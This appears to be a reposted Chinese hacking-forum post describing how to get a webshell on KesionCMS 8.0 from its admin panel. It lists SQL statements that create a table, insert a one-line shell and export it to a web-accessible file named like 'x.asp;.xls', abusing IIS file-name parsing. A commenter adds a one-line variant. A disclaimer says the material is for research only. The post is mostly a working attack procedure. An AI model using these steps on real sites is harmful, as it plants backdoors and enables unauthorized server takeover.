90sec.org
by 老鬼
好久没有发贴了，一直有点忙。
前段时间鬼哥，发了kesion 的任意下载漏洞，关于拿shell 一步代过。其实拿shell还是很简单的。方法多的是。刚刚一个兄弟要我拿个shell ，我就发一种拿shell 方法给大家参考下。
点sql 命令执行。
1.create table 0ldgui (a varchar(50)) 创建一个表\
2.insert into 0ldgui (a) values ('') 插入一句话
3.select * into [a] in 'f:/web/0ldgui.asp;.xls' 'excel 4.0;' from 0ldgui 导出， 在数据库备份可以看到绝对路径
很常用的一个asp sql 拿shell方法
y4q1an：
SELECT '' into [表名] in '网站路径+导出的名字（1.asa;1.xls）' 'excel 8.0;' from 表名
一句话足矣……
留言评论（旧系统）：
文章来源于lcx.cc:kesionCMS 8.0 后台拿 shell
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论